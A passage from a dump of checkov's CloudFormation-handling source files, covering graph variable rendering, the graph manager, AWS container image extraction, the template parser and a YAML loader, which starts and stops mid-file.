attribute_path: [] if referenced_vertices does not contain vertex_attributes,\n                                else the path to the searched attribute\n        :return origin_value\n        \"\"\"\n        for vertex_reference in referenced_vertices:\n            block_type = vertex_reference.block_type\n            attribute_path = vertex_reference.sub_parts\n            if vertex_attributes[CustomAttributes.BLOCK_TYPE] == block_type:\n                for i in range(len(attribute_path)):\n                    name = \".\".join(attribute_path[: i + 1])\n                    if vertex_attributes[CustomAttributes.BLOCK_NAME] == name:\n                        return attribute_path, vertex_reference.origin_value\n        return [], \"\"\n\n    def _extract_vertices_block_name_map(self) -> Dict[str, Dict[str, List[int]]]:\n        vertices_block_name_map = pickle_deepcopy(self.local_graph.vertices_block_name_map)\n        resources_blocks_name_map = vertices_block_name_map[BlockType.RESOURCE]\n\n        updated_resources_blocks_name_map = {}\n        for resource_name, blocks_list in resources_blocks_name_map.items():\n            shortened_resource_name = resource_name.split('.')[\n                -1]  # Trims AWS::X::Y.ResourceName and leaves us with ResoruceName\n            updated_resources_blocks_name_map[shortened_resource_name] = blocks_list\n        vertices_block_name_map[BlockType.RESOURCE] = updated_resources_blocks_name_map\n        return vertices_block_name_map\n\n    def _handle_dependson_condition_connections(self, edge: Edge, origin_vertex: CloudformationBlock) -> None:\n        if edge.label == IntrinsicFunctions.CONDITION:\n            dest_vertex_attributes = self.local_graph.get_vertex_attributes_by_index(edge.dest)\n            evaluated_condition = self._evaluate_condition_by_vertex_attributes(dest_vertex_attributes)\n            if isinstance(evaluated_condition, bool):\n                # evaluated the condition successfully, add the result to the origin vertex\n                origin_vertex.condition = evaluated_condition\n\n    def _handle_edge_list_evaluation_functions(self, edge_list: List[Edge], origin_vertex: Block,\n                                               val_to_eval: Dict[str, Any]) -> None:\n        # Ref, GetAtt, FindInMap, If, Sub connections\n        cfn_evaluation_function = next((\n            curr_evaluation_function\n            for curr_evaluation_function in self.EDGE_EVALUATION_CFN_FUNCTIONS\n            if curr_evaluation_function in val_to_eval\n        ), None)\n\n        if cfn_evaluation_function:\n\n            evaluated_edges: \"list[_EvaluatedEdge]\" = []\n            for edge in edge_list:\n                dest_vertex_attributes = self.local_graph.get_vertex_attributes_by_index(edge.dest)\n                try:\n                    (evaluated_value, changed_origin_id, attribute_at_dest) = self._evaluate_cfn_function(\n                        edge, origin_vertex, cfn_evaluation_function, val_to_eval, dest_vertex_attributes)\n                except KeyError:\n                    logging.info(f'Failed to evalue cfn function. val_to_eval: {val_to_eval}')\n                    continue\n\n                if evaluated_value:\n                    # succeeded to evaluate an edge\n                    val_to_eval[cfn_evaluation_function] = evaluated_value\n                    evaluated_edges.append({\n                        'vertex_index': edge.origin,\n                        'attribute_key': edge.label,\n                        'attribute_value': evaluated_value,\n                        'change_origin_id': changed_origin_id,\n                        'attribute_at_dest': attribute_at_dest\n                    })\n                else:\n                    # failed to evaluate an edge\n                    break\n\n            if len(evaluated_edges) == len(edge_list):\n                # succeeded in evaluation all of the edges\n                for evaluated_edge in evaluated_edges:\n                    self.local_graph.update_vertex_attribute(\n                        vertex_index=evaluated_edge['vertex_index'],\n                        attribute_key=evaluated_edge['attribute_key'],\n                        attribute_value=evaluated_edge['attribute_value'],\n                        change_origin_id=evaluated_edge['change_origin_id'],\n                        attribute_at_dest=evaluated_edge['attribute_at_dest']\n                    )\n\n    def _evaluate_cfn_function(\n        self,\n        edge: Edge,\n        origin_vertex: Block,\n        cfn_evaluation_function: str,\n        val_to_eval: dict[str, Any],\n        dest_vertex_attributes: dict[str, Any],\n    ) -> tuple[str | None, int | None, str | None]:\n        (evaluated_value, changed_origin_id, attribute_at_dest) = (None, None, None)\n\n        if cfn_evaluation_function == ConditionFunctions.IF:\n            # We evaluate Fn::IF differently from Ref, GetAtt, FindInMap, Sub\n            evaluated_value, evaluated_value_hierarchy = self._evaluate_if_connection(\n                val_to_eval[ConditionFunctions.IF], dest_vertex_attributes)\n            if evaluated_value and evaluated_value_hierarchy:\n                evaluated_value_hierarchy = f'{edge.label}.{ConditionFunctions.IF}.{evaluated_value_hierarchy}'\n                changed_attribute = origin_vertex.changed_attributes.get(evaluated_value_hierarchy, None)\n                (attribute_at_dest, changed_origin_id) = \\\n                    (changed_attribute[0].attribute_key, changed_attribute[0].vertex_id)\\\n                    if isinstance(changed_attribute, list) and len(changed_attribute) == 1\\\n                    else (None, None)\n        else:\n            # Ref, GetAtt, FindInMap, Sub evaluation\n            evaluated_value, attribute_at_dest = self.edge_evaluation_methods[cfn_evaluation_function](\n                val_to_eval[cfn_evaluation_function], dest_vertex_attributes)\n            changed_origin_id = edge.dest\n\n        return evaluated_value, changed_origin_id, attribute_at_dest\n\n    def evaluate_non_rendered_values(self) -> None:\n\n        for vertex in self.local_graph.vertices:\n            vertex_attributes = pickle_deepcopy(vertex.attributes)\n            for attr_key, attr_value in vertex_attributes.items():\n                self._handle_sub_with_pseudo_param(attr_key, attr_value, vertex)\n\n    @staticmethod\n    def _handle_sub_with_pseudo_param(attr_key: str, attr_value: Any, vertex: CloudformationBlock) -> None:\n        \"\"\"\n        Pseudo Parameter in CFN is a parameter which is dynamically available (see reference).\n        As we do not render it on buildtime, we want to handle this case by keeping the reference itself without the\n        value, so we can at least build a semi-full resource.\n        https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/pseudo-parameter-reference.html\n        \"\"\"\n        if isinstance(attr_value, dict) and IntrinsicFunctions.SUB in attr_value:\n            inner_value = attr_value[IntrinsicFunctions.SUB]\n            is_pseudo_param_in_value = any([p.value for p in PseudoParameters if p.value in inner_value])\n            if isinstance(inner_value, (str, StrNode)):\n                try:\n                    inner_value = json.loads(inner_value)\n                except Exception as e:\n                    logging.debug(f\"[Cloudformation_evaluate_non_rendered_values]- \"\n                                  f\"Inner_value - {inner_value} is not a valid json. \"\n                                  f\"Full exception - {str(e)}\")\n            if is_pseudo_param_in_value:\n                vertex.update_attribute(\n                    attribute_key=attr_key, attribute_value=inner_value, change_origin_id=None,\n                    previous_breadcrumbs=[], attribute_at_dest=None\n                )\n"
  },
  {
    "path": "checkov/cloudformation/graph_builder/variable_rendering/vertex_reference.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.graph.graph_builder.variable_rendering.vertex_reference import VertexReference\nfrom checkov.cloudformation.graph_builder.graph_components.block_types import BlockType\n\n\nclass CloudformationVertexReference(VertexReference):\n    def __init__(self, block_type: str, sub_parts: list[str], origin_value: str) -> None:\n        super().__init__(block_type, sub_parts, origin_value)\n\n    @staticmethod\n    def block_type_str_to_enum(block_type_str: str) -> str:\n        return BlockType().get(block_type_str)\n"
  },
  {
    "path": "checkov/cloudformation/graph_manager.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nfrom typing import List, Dict, Optional, Tuple, TYPE_CHECKING, Any\n\nfrom checkov.cloudformation.cfn_utils import get_folder_definitions\nfrom checkov.cloudformation.context_parser import ContextParser\nfrom checkov.cloudformation.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions\nfrom checkov.cloudformation.graph_builder.local_graph import CloudformationLocalGraph\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_manager import GraphManager\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraphConnector\n\n\nclass CloudformationGraphManager(GraphManager[CloudformationLocalGraph, \"dict[str, dict[str, Any]]\"]):\n    def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.CLOUDFORMATION) -> None:\n        super().__init__(db_connector=db_connector, parser=None, source=source)\n\n    def build_graph_from_source_directory(\n        self,\n        source_dir: str,\n        local_graph_class: type[CloudformationLocalGraph] = CloudformationLocalGraph,\n        render_variables: bool = True,\n        parsing_errors: Optional[Dict[str, Exception]] = None,\n        download_external_modules: Optional[bool] = False,\n        excluded_paths: Optional[List[str]] = None,\n        **kwargs: Any,\n    ) -> Tuple[CloudformationLocalGraph, dict[str, dict[str, Any]]]:\n        logging.info(f\"[CloudformationGraphManager] Parsing files in source dir {source_dir}\")\n        parsing_errors = {} if parsing_errors is None else parsing_errors\n        definitions, definitions_raw = get_folder_definitions(source_dir, excluded_paths, parsing_errors)  # type:ignore[arg-type]\n        local_graph = self.build_graph_from_definitions(definitions, render_variables)\n        rendered_definitions, _ = convert_graph_vertices_to_definitions(local_graph.vertices, source_dir)\n\n        # TODO: replace with real graph rendering\n        for cf_file in rendered_definitions.keys():\n            file_definition = rendered_definitions.get(cf_file, None)\n            file_definition_raw = definitions_raw.get(cf_file, None)\n            if file_definition is not None and file_definition_raw is not None:\n                cf_context_parser = ContextParser(cf_file, file_definition, file_definition_raw)\n                logging.debug(\n                    f\"Template Dump for {cf_file}: {json.dumps(file_definition, indent=2, default=str)}\"\n                )\n                cf_context_parser.evaluate_default_refs()\n        return local_graph, rendered_definitions\n\n    def build_graph_from_definitions(\n        self, definitions: dict[str, dict[str, Any]], render_variables: bool = True\n    ) -> CloudformationLocalGraph:\n        local_graph = CloudformationLocalGraph(definitions, source=self.source)\n        local_graph.build_graph(render_variables=render_variables)\n\n        return local_graph\n"
  },
  {
    "path": "checkov/cloudformation/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cloudformation/image_referencer/base_provider.py",
    "content": "from __future__ import annotations\n\nimport os\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.images.graph.image_referencer_provider import GraphImageReferencerProvider\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.str_utils import removeprefix\n\n\nclass BaseCloudFormationProvider(GraphImageReferencerProvider):\n\n    def extract_images_from_resources(self) -> list[Image]:\n        images = []\n\n        supported_resources_graph = self.extract_nodes()\n\n        for resource in self.extract_resource(supported_resources_graph):\n            image_names: list[str] = []\n            resource_type = resource[CustomAttributes.RESOURCE_TYPE]\n\n            extract_images_func = self.supported_resource_types.get(resource_type)\n            if extract_images_func:\n                image_names.extend(extract_images_func(resource))\n\n            for name in image_names:\n                images.append(\n                    Image(\n                        file_path=resource[CustomAttributes.FILE_PATH],\n                        name=name,\n                        start_line=resource[START_LINE],\n                        end_line=resource[END_LINE],\n                        related_resource_id=f'{removeprefix(resource.get(\"file_path_\", \"\"), os.getenv(\"BC_ROOT_DIR\", \"\"))}:{resource.get(\"id_\")}',\n                    )\n                )\n\n        return images\n"
  },
  {
    "path": "checkov/cloudformation/image_referencer/manager.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.cloudformation.image_referencer.provider.aws import AwsCloudFormationProvider\nfrom checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager\n\nif TYPE_CHECKING:\n    from checkov.common.images.image_referencer import Image\n\n\nclass CloudFormationImageReferencerManager(GraphImageReferencerManager):\n\n    def extract_images_from_resources(self) -> list[Image]:\n        aws_provider = AwsCloudFormationProvider(graph_connector=self.graph_connector)\n\n        images = aws_provider.extract_images_from_resources()\n\n        return images\n"
  },
  {
    "path": "checkov/cloudformation/image_referencer/provider/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cloudformation/image_referencer/provider/aws.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.cloudformation.image_referencer.base_provider import BaseCloudFormationProvider\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.common.util.type_forcers import extract_json\n\nif TYPE_CHECKING:\n    from networkx import DiGraph\n\n\nclass AwsCloudFormationProvider(BaseCloudFormationProvider):\n    def __init__(self, graph_connector: DiGraph) -> None:\n        super().__init__(\n            graph_connector=graph_connector,\n            supported_resource_types=SUPPORTED_AWS_IMAGE_RESOURCE_TYPES,\n        )\n\n\ndef extract_images_from_aws_apprunner_service(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    image_repo = find_in_dict(input_dict=resource, key_path=\"SourceConfiguration/ImageRepository\")\n    if isinstance(image_repo, dict):\n        repo_type = image_repo.get(\"ImageRepositoryType\")\n        name = image_repo.get(\"ImageIdentifier\")\n        if name and isinstance(name, str) and repo_type == \"ECR_PUBLIC\":\n            image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_aws_batch_job_definition(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    properties = extract_json(resource.get(\"ContainerProperties\"))\n    if isinstance(properties, dict):\n        name = properties.get(\"Image\")\n        if name and isinstance(name, str):\n            image_names.append(name)\n\n    node_range = find_in_dict(input_dict=resource, key_path=\"NodeProperties/NodeRangeProperties\")\n    if isinstance(node_range, list):\n        for node in node_range:\n            name = find_in_dict(input_dict=node, key_path=\"Container/Image\")\n            if name and isinstance(name, str):\n                image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_aws_codebuild_project(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    name = find_in_dict(input_dict=resource, key_path=\"Environment/Image\")\n    if name and isinstance(name, str):\n        # AWS provided images have an internal identifier\n        if not name.startswith(\"aws/codebuild/\"):\n            image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_aws_ecs_task_definition(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    definitions = extract_json(resource.get(\"ContainerDefinitions\"))\n    if isinstance(definitions, list):\n        for definition in definitions:\n            name = definition.get(\"Image\")\n            if name and isinstance(name, str):\n                image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_aws_lightsail_container_service_deployment_version(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    containers = find_in_dict(input_dict=resource, key_path=\"ContainerServiceDeployment/Containers\")\n    if isinstance(containers, list):\n        for container in containers:\n            name = container.get(\"Image\")\n            if name and isinstance(name, str):\n                image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_aws_sagemaker_image_version(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    image_name = find_in_dict(input_dict=resource, key_path=\"BaseImage\")\n    if image_name and isinstance(image_name, str):\n        image_names.append(image_name)\n\n    return image_names\n\n\ndef extract_images_from_aws_sagemaker_model(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    image_name = find_in_dict(input_dict=resource, key_path=\"PrimaryContainer/Image\")\n    if image_name and isinstance(image_name, str):\n        image_names.append(image_name)\n\n    containers = find_in_dict(input_dict=resource, key_path=\"Containers\")\n    if isinstance(containers, list):\n        for container in containers:\n            name = container.get(\"Image\")\n            if name and isinstance(name, str):\n                image_names.append(name)\n\n    return image_names\n\n\n# needs to be at the bottom to add the defined functions\nSUPPORTED_AWS_IMAGE_RESOURCE_TYPES = {\n    \"AWS::AppRunner::Service\": extract_images_from_aws_apprunner_service,\n    \"AWS::Batch::JobDefinition\": extract_images_from_aws_batch_job_definition,\n    \"AWS::CodeBuild::Project\": extract_images_from_aws_codebuild_project,\n    \"AWS::ECS::TaskDefinition\": extract_images_from_aws_ecs_task_definition,\n    \"AWS::Lightsail::Container\": extract_images_from_aws_lightsail_container_service_deployment_version,\n    \"AWS::SageMaker::ImageVersion\": extract_images_from_aws_sagemaker_image_version,\n    \"AWS::SageMaker::Model\": extract_images_from_aws_sagemaker_model,\n}\n"
  },
  {
    "path": "checkov/cloudformation/parser/__init__.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Dict, Optional, Any\n\nfrom checkov.cloudformation.parser import cfn_yaml\nfrom checkov.common.parsers.json import parse as json_parse\nfrom checkov.cloudformation.parser.cfn_keywords import TemplateSections\nfrom yaml.scanner import ScannerError\nfrom yaml import YAMLError\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\nLOGGER = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(LOGGER)\n\n\ndef parse(\n    filename: str, out_parsing_errors: Optional[Dict[str, str]] = None\n) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | tuple[None, None]:\n    \"\"\"\n    Decode filename into an object\n    \"\"\"\n    template: \"dict[str, Any] | list[dict[str, Any]] | None\" = None\n    template_lines = None\n    error = None\n\n    if out_parsing_errors is None:\n        out_parsing_errors = {}\n\n    try:\n        (template, template_lines) = cfn_yaml.load(filename, cfn_yaml.ContentType.CFN)\n    except FileNotFoundError as e:\n        error = f'Template file not found: {e.filename}'\n        LOGGER.error(error)\n    except IsADirectoryError as e:\n        error = f'Template references a directory, not a file: {e.filename}'\n        LOGGER.error(error)\n    except PermissionError as e:\n        error = f'Permission denied when accessing {e.filename}'\n        LOGGER.error(error)\n    except UnicodeDecodeError as err:\n        error = f\"Cannot read file contents: {filename} - {err}\"\n        LOGGER.error(error)\n    except cfn_yaml.CfnParseError as err:\n        if \"Null value at\" in err.message:\n            LOGGER.info(f\"Null values do not exist in CFN templates: {filename} - {err}\")\n            return None, None\n\n        error = f\"Parsing error in file: {filename} - {err}\"\n        LOGGER.info(error)\n    except ValueError as err:\n        error = f\"Parsing error in file: {filename} - {err}\"\n        LOGGER.info(error)\n    except ScannerError as err:\n        if err.problem in [\"found character '\\\\t' that cannot start any token\", \"found unknown escape character\"]:\n            try:\n                result = json_parse(filename, allow_nulls=False)\n                if result:\n                    template, template_lines = result\n            except Exception as json_err:  # pylint: disable=W0703\n                error = f\"Template {filename} is malformed: {err.problem}. Tried to parse {filename} as JSON but got error: {json_err}\"\n                LOGGER.info(error)\n    except YAMLError as err:\n        if hasattr(err, 'problem') and err.problem in [\"expected ',' or '}', but got '<scalar>'\"]:\n            try:\n                result = json_parse(filename, allow_nulls=False)\n                if result:\n                    template, template_lines = result\n            except Exception as json_err:  # pylint: disable=W0703\n                error = f\"Template {filename} is malformed: {err.problem}. Tried to parse {filename} as JSON but got error: {json_err}\"\n                LOGGER.info(error)\n        else:\n            error = f\"Parsing error in file: {filename} - {err}\"\n            LOGGER.info(error)\n\n    if error:\n        out_parsing_errors[filename] = error\n\n    if isinstance(template, dict):\n        resources = template.get(TemplateSections.RESOURCES.value, None)\n        if resources and isinstance(resources, dict):\n            if '__file__' in resources:\n                del resources['__file__']\n            if \"__startline__\" in resources:\n                del resources[\"__startline__\"]\n            if \"__endline__\" in resources:\n                del resources[\"__endline__\"]\n\n    if template is None or template_lines is None:\n        return None, None\n\n    return template, template_lines\n"
  },
  {
    "path": "checkov/cloudformation/parser/cfn_keywords.py",
    "content": "from dataclasses import dataclass\nfrom enum import Enum\n\n\n@dataclass\nclass IntrinsicFunctions:\n    BASE64 = \"Fn::Base64\"\n    CIDR = \"Fn::Cidr\"\n    FIND_IN_MAP = \"Fn::FindInMap\"\n    GET_ATT = \"Fn::GetAtt\"\n    GET_AZS = \"Fn::GetAZs\"\n    IMPORT_VALUE = \"Fn::ImportValue\"\n    JOIN = \"Fn::Join\"\n    SELECT = \"Fn::Select\"\n    SPLIT = \"Fn::Split\"\n    SUB = \"Fn::Sub\"\n    TRANSFORM = \"Fn::Transform\"\n    REF = \"Ref\"\n    CONDITION = \"Condition\"\n\n\n@dataclass\nclass ConditionFunctions:\n    AND = \"Fn::And\"\n    EQUALS = \"Fn::Equals\"\n    IF = \"Fn::If\"\n    NOT = \"Fn::Not\"\n    OR = \"Fn::Or\"\n\n\n@dataclass\nclass ResourceAttributes:\n    CREATION_POLICY = \"CreationPolicy\"\n    DELETION_POLICY = \"DeletionPolicy\"\n    DEPENDS_ON = \"DependsOn\"\n    METADATA = \"Metadata\"\n    UPDATE_POLICY = \"UpdatePolicy\"\n    UPDATE_REPLACE_POLICY = \"UpdateReplacePolicy\"\n\n\nclass TemplateSections(str, Enum):\n    RESOURCES = \"Resources\"\n    METADATA = \"Metadata\"\n    PARAMETERS = \"Parameters\"\n    RULES = \"Rules\"\n    MAPPINGS = \"Mappings\"\n    CONDITIONS = \"Conditions\"\n    TRANSFORM = \"Transform\"\n    OUTPUTS = \"Outputs\"\n    GLOBALS = \"Globals\"\n\n\nclass PseudoParameters(Enum):\n    ACCOUNT_ID = \"AWS::AccountId\"\n    NOTIFICATION_ARNS = \"AWS::NotificationARNs\"\n    NO_VALUE = \"AWS::NoValue\"\n    PARTITION = \"AWS::Partition\"\n    REGION = \"AWS::Region\"\n    STACK_ID = \"AWS::StackId\"\n    STACK_NAME = \"AWS::StackName\"\n    URL_SUFFIX = \"AWS::URLSuffix\"\n"
  },
  {
    "path": "checkov/cloudformation/parser/cfn_yaml.py",
    "content": "\"\"\"\nCopyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\nSPDX-License-Identifier: MIT-0\n\"\"\"\nfrom __future__ import annotations\n\nimport json\nimport logging\nimport platform\nimport re\nfrom collections.abc import Hashable\nfrom enum import Enum\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING, NoReturn, Callable\n\nfrom yaml import MappingNode, ScalarNode, SequenceNode\nfrom yaml.composer import Composer\nfrom yaml.constructor import ConstructorError, SafeConstructor\nfrom yaml.reader import Reader\nfrom yaml.resolver import Resolver\nfrom yaml.scanner import Scanner\nfrom yaml.error import MarkedYAMLError, YAMLError\nfrom charset_normalizer import from_path\n\nfrom checkov.common.parsers.json.decoder import SimpleDecoder\nfrom checkov.common.parsers.node import StrNode, DictNode, ListNode\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.consts import MAX_IAC_FILE_SIZE\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\n\ntry:\n    from yaml.cyaml import CParser as Parser  # type:ignore[attr-defined]\n\n    cyaml = True\nexcept ImportError:\n    from yaml.parser import Parser  # type:ignore[assignment]\n\n    cyaml = False\n\nif TYPE_CHECKING:\n    from yaml import Node\n\nUNCONVERTED_SUFFIXES = ['Ref', 'Condition']\nFN_PREFIX = 'Fn::'\n\nLOGGER = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(LOGGER)\n\n\nclass ContentType(str, Enum):\n    CFN = \"CFN\"\n    SLS = \"SLS\"\n    TFPLAN = \"TFPLAN\"\n\n\nclass CfnParseError(ConstructorError):\n    \"\"\"\n    Error thrown when the template contains Cfn Error\n    \"\"\"\n\n    def __init__(self, filename: str, message: str, line_number: int, column_number: int) -> None:\n        # Call the base class constructor with the parameters it needs\n        super(CfnParseError, self).__init__(message)\n\n        # Now for your custom code...\n        self.filename = filename\n        self.line_number = line_number\n        self.column_number = column_number\n        self.message = message\n\n\nclass NodeConstructor(SafeConstructor):\n    \"\"\"\n    Node Constructors for loading different types in Yaml\n    \"\"\"\n\n    def __init__(self, filename: str, content_type: ContentType | None = None) -> None:\n        # Call the base class constructor\n        super().__init__()\n        self.add_constructor(  # type:ignore[type-var]\n            u'tag:yaml.org,2002:map',\n            NodeConstructor.construct_yaml_map,\n        )\n\n        self.add_constructor(  # type:ignore[type-var]\n            u'tag:yaml.org,2002:str',\n            NodeConstructor.construct_yaml_str,\n        )\n\n        self.add_constructor(  # type:ignore[type-var]\n            u'tag:yaml.org,2002:seq',\n            NodeConstructor.construct_yaml_seq,\n        )\n        if content_type != ContentType.TFPLAN:\n            NodeConstructor.add_constructor(  # type:ignore[type-var]\n                u'tag:yaml.org,2002:null',\n                NodeConstructor.construct_yaml_null_error,\n            )\n        self.filename = filename\n        self.files_loaded: dict[Path, bool] = {}\n\n    # To support lazy loading, the original constructors first yield\n    # an empty object, then fill them in when iterated. Due to\n    # laziness we omit this behaviour (and will only do \"deep\n    # construction\") by first exhausting iterators, then yielding\n    # copies.\n    def construct_yaml_map(self, node: MappingNode) -> DictNode:\n        # Check for duplicate keys on the current level, this is not desirable\n        # because a dict does not support this. It overwrites it with the last\n        # occurrence, which can give unexpected results\n        mapping = {}\n        self.flatten_mapping(node)\n        for key_node, value_node in node.value:\n            key = self.construct_object(key_node, False)  # type:ignore[no-untyped-call]\n            value = self.construct_object(value_node, False)  # type:ignore[no-untyped-call]\n            try:\n                if isinstance(key, dict):\n                    key = frozenset(key.keys()), frozenset(key.values())\n                if isinstance(key, list):\n                    key = frozenset(key)\n            except TypeError:\n                raise CfnParseError(\n                    filename=self.filename,\n                    message=f'Unable to construct key {key} (line {key_node.start_mark.line + 1})',\n                    line_number=key_node.start_mark.line,\n                    column_number=key_node.start_mark.column,\n                ) from None\n            if key in mapping:\n                raise CfnParseError(\n                    filename=self.filename,\n                    message=f'Duplicate resource found \"{key}\" (line {key_node.start_mark.line + 1})',\n                    line_number=key_node.start_mark.line,\n                    column_number=key_node.start_mark.column,\n                )\n            mapping[key] = value\n\n        obj, = SafeConstructor.construct_yaml_map(self, node)  # type:ignore[no-untyped-call]\n        return DictNode(obj, node.start_mark, node.end_mark)\n\n    def construct_yaml_str(self, node: ScalarNode) -> StrNode:\n        obj = SafeConstructor.construct_yaml_str(self, node)  # type:ignore[no-untyped-call]\n        assert isinstance(obj, str)  # nosec\n        return StrNode(obj, node.start_mark, node.end_mark)\n\n    def mark_with_filename(self, root: Node | None, filename: str) -> None:\n        if not root:\n            return\n\n        setattr(root, 'filename', filename)  # noqa: B010\n        if isinstance(root, SequenceNode):\n            for v in root.value:\n                self.mark_with_filename(v, filename)\n        if isinstance(root, MappingNode):\n            for k, v in root.value:\n                self.mark_with_filename(k, filename)\n                self.mark_with_filename(v, filename)\n\n    def construct_yaml_seq(self, node: SequenceNode) -> ListNode:\n        # Handle serverless file() expansions on SequenceNode\n        if isinstance(node.value, list) and len(node.value) > 0:\n            for i, v in enumerate(node.value):\n                if not isinstance(v, ScalarNode) or not isinstance(node.value[i].value, str):\n                    continue\n\n                m = re.match(r'\\$\\{file\\((.+\\.ya?ml)\\)\\}$', v.value)\n                if m is None:\n                    continue\n\n                path = (Path(self.filename).parent / m[1]).resolve()\n                if path in self.files_loaded:\n                    raise CfnParseError(\n                        filename=node.filename if hasattr(node, 'filename') else self.filename,\n                        message=f'Circular include of {m[1]}',\n                        line_number=node.start_mark.line,\n                        column_number=node.start_mark.column\n                    )\n                else:\n                    self.files_loaded[path] = True\n                    content = read_file_with_any_encoding(file_path=path)\n                    node.value[i] = MarkedLoader(content, m[1], None).get_single_node()\n                    self.mark_with_filename(node.value[i], m[1])\n\n        obj, = SafeConstructor.construct_yaml_seq(self, node)  # type:ignore[no-untyped-call]\n        assert isinstance(obj, list)  # nosec\n        return ListNode(obj, node.start_mark, node.end_mark)  # nosec\n\n    def construct_yaml_null_error(self, node: Node) -> NoReturn:\n        \"\"\"Throw a null error\"\"\"\n        raise CfnParseError(\n            filename=node.filename if hasattr(node, 'filename') else self.filename,\n            message=f\"Null value at line {node.start_mark.line + 1} column {node.start_mark.column + 1}\",\n            line_number=node.start_mark.line,\n            column_number=node.start_mark.column,\n        )\n\n\nclass MarkedLoader(Reader, Scanner, Parser, Composer, NodeConstructor, Resolver):\n    \"\"\"\n    Class for marked loading YAML\n    \"\"\"\n\n    # pylint: disable=non-parent-init-called,super-init-not-called\n\n    def __init__(self, stream: str, filename: str, content_type: ContentType | None = None) -> None:\n        Reader.__init__(self, stream)\n        Scanner.__init__(self)\n        if cyaml:\n            Parser.__init__(self, stream)\n        else:\n            Parser.__init__(self)  # type:ignore[call-arg]  # cyaml checks if it is the normal or C version\n        Composer.__init__(self)\n        SafeConstructor.__init__(self)\n        Resolver.__init__(self)\n        NodeConstructor.__init__(self, filename, content_type)\n\n    def construct_mapping(self, node: MappingNode, deep: bool = False) -> dict[Hashable, Any]:\n        mapping = super(MarkedLoader, self).construct_mapping(node, deep=deep)\n        # Add 1 so line numbering starts at 1\n        mapping['__file__'] = node.filename if hasattr(node, 'filename') else self.filename\n        mapping['__startline__'] = node.start_mark.line + 1\n        mapping['__endline__'] = node.end_mark.line + 1\n        return mapping\n\n\ndef multi_constructor(loader: MarkedLoader, tag_suffix: str, node: ScalarNode) -> DictNode:\n    \"\"\"\n    Deal with !Ref style function format\n    \"\"\"\n\n    constructor: Callable[[ScalarNode], Any]\n\n    if tag_suffix not in UNCONVERTED_SUFFIXES:\n        tag_suffix = f\"{FN_PREFIX}{tag_suffix}\"\n\n    if tag_suffix == 'Fn::GetAtt':\n        constructor = construct_getatt\n    elif tag_suffix == \"Ref\" and (isinstance(node.value, list) or isinstance(node.value, dict)):\n        raise CfnParseError(\n            filename=node.filename if hasattr(node, 'filename') else loader.filename,\n            message='Invalid !Ref: {}'.format(node.value),\n            line_number=0,\n            column_number=0)\n    elif isinstance(node, ScalarNode):\n        constructor = loader.construct_scalar\n    elif isinstance(node, SequenceNode):\n        constructor = loader.construct_sequence\n    elif isinstance(node, MappingNode):\n        constructor = loader.construct_mapping\n    else:\n        raise 'Bad tag: !{}'.format(tag_suffix)\n\n    return DictNode({tag_suffix: constructor(node)}, node.start_mark, node.end_mark)\n\n\ndef construct_getatt(node: ScalarNode) -> ListNode:\n    \"\"\"\n    Reconstruct !GetAtt into a list\n    \"\"\"\n\n    if isinstance(node.value, str):\n        return ListNode(node.value.split('.'), node.start_mark, node.end_mark)\n    if isinstance(node.value, list):\n        return ListNode([s.value for s in node.value], node.start_mark, node.end_mark)\n\n    raise ValueError('Unexpected node type: {}'.format(type(node.value)))\n\n\ndef loads(yaml_string: str, fname: str, content_type: ContentType | None = None) -> DictNode | dict[str, Any]:\n    \"\"\"\n    Load the given YAML string\n    \"\"\"\n    if len(yaml_string) == 0:\n        return {}\n\n    loader = MarkedLoader(yaml_string, fname, content_type)\n    loader.add_multi_constructor('!', multi_constructor)  # type:ignore[no-untyped-call]\n\n    try:\n        template: \"DictNode | dict[str, Any]\" = loader.get_single_data()\n        if template is None:\n            return {}\n        return template\n    except MarkedYAMLError as e:\n        logging.error(f'YAML error parsing {fname}: {e}')\n        if e.problem and e.problem_mark:\n            raise CfnParseError(\n                filename=fname,\n                message=e.problem,\n                line_number=e.problem_mark.line,\n                column_number=e.problem_mark.column) from e\n        else:\n            raise CfnParseError(filename=fname, message=str(e), line_number=0, column_number=0) from e\n    except YAMLError as e:\n        logging.error(f'YAML error parsing 